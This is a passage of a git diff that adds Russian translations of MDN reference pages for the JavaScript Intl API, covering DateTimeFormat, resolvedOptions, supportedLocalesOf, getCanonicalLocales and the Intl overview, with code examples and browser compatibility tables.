+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢</span>"
+
+// В Японии приложения могут захотеть использовать японский календарь,
+// в котором 2012 год являеся 24-м годом эры Хейсей
+console.log(new Intl.DateTimeFormat('ja-JP-u-ca-japanese').format(date));
+// → "24/12/20"
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(new Intl.DateTimeFormat(['ban', 'id']).format(date));
+// → "20/12/2012"
+</pre>
+
+<h3 id="Example_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Формат даты и времени может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Запрашиваем день недели вместе с длинным форматом даты
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(new Intl.DateTimeFormat('de-DE', options).format(date));
+// → "Donnerstag, 20. Dezember 2012"
+
+// Приложение может захотеть использовать UTC и показать это
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// → "Thursday, December 20, 2012, GMT"
+
+// Иногда нам нужна большая точность
+options = {
+  hour: 'numeric', minute: 'numeric', second: 'numeric',
+  timeZoneName: 'short'
+};
+console.log(new Intl.DateTimeFormat('en-AU', options).format(date));
+// → "2:00:00 pm AEDT"
+
+// Иногда даже в США нужен 24-часовой формат времени
+options = {
+  year: 'numeric', month: 'numeric', day: 'numeric',
+  hour: 'numeric', minute: 'numeric', second: 'numeric',
+  hour12: false
+};
+console.log(date.toLocaleString('en-US', options));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("24")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("26")}}</td>
+   <td>{{CompatNo}}<br>
+    {{bug("864843")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Intl', 'See_also')}}</div>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
new file mode 100644
index 0000000000..dfaf7d5c92
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
@@ -0,0 +1,108 @@
+---
+title: Intl.DateTimeFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef("Global_Objects", "DateTimeFormat", "Intl,Collator,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.DateTimeFormat.prototype</code></strong> представляет объект прототипа конструктора {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Смотрите {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}} для описания экземпляров <code>Intl.NumberFormat</code>.</p>
+<p>Экземпляры {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} наследуются от <code>Intl.NumberFormat.prototype</code>. Изменения объекта прототипа наследуются всеми экземплярами {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>Intl.DateTimeFormat.prototype.constructor</code></dt>
+ <dd>Ссылка на {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}.</dd>
+ <dt>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}</dt>
+ <dd>Геттер; возвращает функцию, форматирующую дату согласно локали и опциям форматирования этого объекта {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Возвращает новый объект со свойствами, отражающими локаль и опции форматирования, вычисленные при инициализации объекта.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..a1cb4bff8b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html
@@ -0,0 +1,116 @@
+---
+title: Intl.DateTimeFormat.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - JavaScript
+  - Method
+  - NeedsExample
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions
+---
+<div>{{JSRef("Global_Objects", "DateTimeFormat", "Intl,Collator,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.DateTimeFormat.prototype.resolvedOptions()</code></strong> возвращает новый объект со свойствами, отражающими локаль и параметры форматирования даты и времени, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateTimeFormat</var>.resolvedOptions()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает новый объект со свойствами, отражающими локаль и параметры форматирования чисел, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Объект содержит следующие свойства:</p>
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>Языковая метка BCP 47 реально используемой локали. Если во входной языковой метке BCP 47 запрошены какие-либо расширения Unicode, приведшие к этой локали, запрошенные и поддерживаемые для этой локали пары ключ-значение также будут включены в свойство <code>locale</code>.</dd>
+ <dt><code>calendar</code></dt>
+ <dt><code>numberingSystem</code></dt>
+ <dd>Значения, запрошенные ключами расширения Unicode <code>"ca"</code> и <code>"nu"</code>, либо значения по умолчанию.</dd>
+ <dt><code>timeZone</code></dt>
+ <dd>Значение, предоставленное для этого свойства в аргументе <code>options</code>; {{jsxref("Global_Objects/undefined", "undefined")}} (представляет временную зону по умолчанию среды выполнения), если ничего не было предоставлено. Предупреждение: приложения не должны полагаться на возврат {{jsxref("Global_Objects/undefined", "undefined")}}, поскольку будущие версии вместо него могут возвращать строковое значение, идентифицирующее временную зону по умолчанию среды выполнения.</dd>
+ <dt><code>hour12</code></dt>
+ <dd>Значение, предоставленное для этого свойства в аргументе <code>options</code>, либо значение по умолчанию.</dd>
+ <dt><code>weekday</code></dt>
+ <dt><code>era</code></dt>
+ <dt><code>year</code></dt>
+ <dt><code>month</code></dt>
+ <dt><code>day</code></dt>
+ <dt><code>hour</code></dt>
+ <dt><code>minute</code></dt>
+ <dt><code>second</code></dt>
+ <dt><code>timeZoneName</code></dt>
+ <dd>Значения, получившиеся в результате объединения соответствующих свойств в аргументе <code>options</code> и доступных комбинаций и представлений форматирования даты/времени в выбранной локали. Некоторые из этих свойств могут не присутствовать, что означает, что соответствующие компоненты не попадают в форматированный вывод.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.3.3', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..54a485d2c1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html
@@ -0,0 +1,118 @@
+---
+title: Intl.DateTimeFormat.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf
+---
+<div>{{JSRef("Global_Objects", "DateTimeFormat", "Intl,Collator,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.DateTimeFormat.supportedLocalesOf()</code></strong> возвращает массив, содержащий те из предоставленных локалей, что поддерживаются при форматировании даты и времени без отката к локали по умолчанию среды выполнения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Intl.DateTimeFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+  <p>Необязательный параметр. Объект, который может содержать следующее свойство:</p>
+  <dl>
+   <dt><code>localeMatcher</code></dt>
+   <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает массив с подмножеством языковых меток, предоставленных в аргументе <code>locales</code>. Возвращаются те языковые метки, для которых среда выполнения поддерживает форматирование даты и времени без отката к локали по умолчанию; при поиске используется предоставленный алгоритм сопоставления локалей.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_supportedLocalesOf" name="Example:_Using_supportedLocalesOf">Пример: использование <code>supportedLocalesOf</code></h3>
+<p>Предполагая, что среда выполнения поддерживает индонезийское и немецкое, но на балийское форматирование даты и времени, метод <code>supportedLocalesOf</code> вернёт неизменными индонезийскую и немецкую языковые метки, даже несмотря на то, что сортировка <code>pinyin</code> не относится к форматированию даты и времени, не используется с индонезийским языком и вряд ли будет поддерживаться в немецком языке для Индонезии. Обратите внимание на используемую здесь спецификацию алгоритма <code>"lookup"</code> — сопоставление <code>"best fit"</code> может решить, что индонезийский язык является адекватным сопоставлением с балийским, поскольку большинство людей, говорящих на балийском, также понимают индонезийский, и поэтому может возвратиться ещё и языковая метка балийского языка.</p>
+<pre class="brush: js">var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+var options = { localeMatcher: 'lookup' };
+console.log(Intl.DateTimeFormat.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html b/files/ru/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html
new file mode 100644
index 0000000000..9a433c2776
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html
@@ -0,0 +1,73 @@
+---
+title: Intl.getCanonicalLocales()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales
+tags:
+  - Intl
+  - JavaScript
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>Intl.getCanonicalLocales()</code></strong> возвращает массив, содержащий канониченские коды языков. Повторяющиеся значения будут отброшены и элементы будут проверены на соответствие структуры языковых тегов.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-getcanonicallocales.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Intl.getCanonicalLocales(locales)</pre>
+
+<h3 id="Парамерты">Парамерты</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Список {{jsxref("String")}} значений, из которых нужно получить канонические коды языков.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив, содержащий канонические коды языков</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">Intl.getCanonicalLocales('RU-RU'); // ["ru-RU"]
+Intl.getCanonicalLocales(['RU-RU', 'Fr']); // ["ru-RU", "fr"]
+
+Intl.getCanonicalLocales('RU_RU');
+// RangeError:'EN_US' is not a structurally valid language tag
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-intl.getcanonicallocales', 'Intl.getCanonicalLocales')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.getCanonicalLocales")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</li>
+ <li>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</li>
+ <li>{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html
new file mode 100644
index 0000000000..cebbeccc60
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/index.html
@@ -0,0 +1,117 @@
+---
+title: Intl
+slug: Web/JavaScript/Reference/Global_Objects/Intl
+tags:
+  - Internationalization
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl
+---
+<div>{{JSRef("Global_Objects", "Intl", "Collator,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <strong><code>Intl</code></strong> является пространством имён для API интернационализации ECMAScript, предосталяющим языко-зависимое сравнение строк, форматирование чисел и дат со временем. Конструкторы объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} и {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}} являются свойствами объекта <code>Intl</code>. На этой странице описаны эти свойства, а также общая функциональность конструкторов интернационализации и других языко-зависимых функций.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</dt>
+ <dd>Конструктор <dfn>сортировщиков</dfn> — объектов, включающих языко-зависимое сравнение строк.</dd>
+ <dt>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</dt>
+ <dd>Конструктор объектов, включающих языко-зависимое форматирование даты и времени.</dd>
+ <dt>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</dt>
+ <dd>Конструктор объектов, включающих языко-зависимое форматирование чисел.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Intl.getCanonicalLocales()")}}</dt>
+ <dd>Returns canonical locale names.</dd>
+</dl>
+
+<h2 id="Locale_identification_and_negotiation" name="Locale_identification_and_negotiation">Идентификация и согласование локали</h2>
+
+<p>Конструкторы интернационализации, а также некоторые языко-зависимые методы других конструкторов (перечисленные в разделе {{anch("See_also", "Смотрите также")}}) используют общий шаблон для идентификации локалей и определения используемой локали: они все принимают аргументы <code>locales</code> и <code>options</code> и согласовывают запрошенную локаль (локали) с поддерживаемыми локалями согласно алгоритму, определённому свойством <code>options.localeMatcher</code>.</p>
+
+<h3 id="locales_argument" name="locales_argument">Аргумент <code>locales</code></h3>
+
+<p>Аргумет <code>locales</code> должен быть либо строкой, содержащей <a href="http://tools.ietf.org/html/rfc5646">языковую метку BCP 47</a>, либо массивом таких языковых меток. Если аргумент <code>locales</code> не предоставлен или не определён, используется локаль по умолчанию среды выполнения.</p>
+
+<p>Языковая метка BCP 47 однозначно определяет язык или локаль (разница между ними весьма расплывчата). В своей самой общей форме она может содержать в следующем порядке: код языка, код письменности и код страны, разделённые символами дефиса. Примеры:</p>
+
+<ul>
+ <li><code>"hi"</code>: хинди.</li>
+ <li><code>"de-AT"</code>: немецкий, используемый в Австрии.</li>
+ <li><code>"zh-Hans-CN"</code>: упрощённый китайский, используемый в Китае.</li>
+</ul>
+
+<p>Подметки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в <a href="http://www.iana.org/assignments/language-subtag-registry">Реестре языковых подметок IANA</a>.</p>
+
+<p>BCP 47 также позволяет использовать расширения, и одно из них имеет значение для функций интернационализации JavaScript: это расширение <code>"u"</code> (Unicode). Оно может использоваться для запрашивания настраиваемого языко-зависимого поведения объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} или {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Примеры:</p>
+
+<ul>
+ <li><code>"de-DE-u-co-phonebk"</code>: использовать вариант телефонной книги немецкого порядка сортировки, который расширяет гласные с умляутами до пар символов: ä → ae, ö → oe, ü → ue.</li>
+ <li><code>"th-TH-u-nu-thai"</code>: использовать тайские цифры (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) при форматировании чисел.</li>
+ <li><code>"ja-JP-u-ca-japanese"</code>: использовать японский календарь при форматировании даты и времени, так что 2013 год выражается 25-м годом периода Хэйсей или 平成25.</li>
+</ul>
+
+<h3 id="Locale_negotiation" name="Locale_negotiation">Согласование локали</h3>
+
+<p>Аргумент <code>locales</code>, после вырезания всех расширений Unicode, интерпретируется как приоритетный запрос из приложения. Среда выполнения сравнивает его с доступными локалями в выбирает наилучшую из имеющихся. Существует два алгоритма сравнения: сопоставление <code>"lookup"</code> (поиск) следует алгоритму поиска, определённому в <a href="http://tools.ietf.org/html/rfc4647#section-3.4">BCP 47</a>; сопоставление <code>"best fit"</code> (наилучший подходящий) позволяет среде выполнения предоставлять локаль, которая, как минимум, но возможно и лучше, подходит для запроса, нежели локаль, найденная с помощью алгоритма поиска. Если приложение не предоставляет аргумент <code>locales</code> или среда выполнения не имеет локали, соответствующей запросу, то используется локаль по умолчанию для среды выполнения. Метод сопоставления можно выбрать с помощью свойства аргумента <code>options</code> (смотрите ниже).</p>
+
+<p>Если выбранная языковая метка содержит подстроку расширения Unicode, это расширение будет использоваться для настройки сконструированного объекта или поведения функции. Каждый конструктор или функция поддерживают только определённое подмножество ключей, определённых расширением Unicode, и поддерживаемые значения часто зависят от языковой метки. Например, ключ <code>"co"</code> (сравнение) поддерживается только объектом {{jsxref("Global_Objects/Collator", "Collator")}}, а его значение <code>"phonebk"</code> поддерживается только для немецкого языка.</p>
+
+<h3 id="options_argument" name="options_argument">Аргумент <code>options</code></h3>
+
+<p>Аргумент <code>options</code> должен быть объектом со свойствами, которые различаются для конструкторов и функций. Если аргумент <code>options</code> не предоставлен или не определён, для всех свойств используются значения по умолчанию.</p>
+
+<p>Одно свойство поддерживается для всех языко-зависимых конструкторов: свойство <code>localeMatcher</code>, чьим значением должна быть одна из строк <code>"lookup"</code> или <code>"best fit"</code> и которое выбирает один из алгоритмов сопоставления локалей, описанных выше.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>Таблица совместимости на этой странице генерируется из структурированных данных. Чтобы внести свои изменения в эти данные, вы можете перейти на страницу <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отослать нам pull request.</div>
+
+<div id="compat-mobile">
+<p>{{Compat("javascript.builtins.Intl")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Введение: <a href="http://norbertlindenberg.com/2012/12/ecmascript-internationalization-api/index.html">API интернационализации ECMAScript</a></li>
+ <li>Конструкторы
+  <ul>
+   <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+   <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+   <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+  </ul>
+ </li>
+ <li>Методы
+  <ul>
+   <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+   <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/listformat/index.html b/files/ru/web/javascript/reference/global_objects/intl/listformat/index.html
new file mode 100644
index 0000000000..cac65c8d03
--- /dev/null
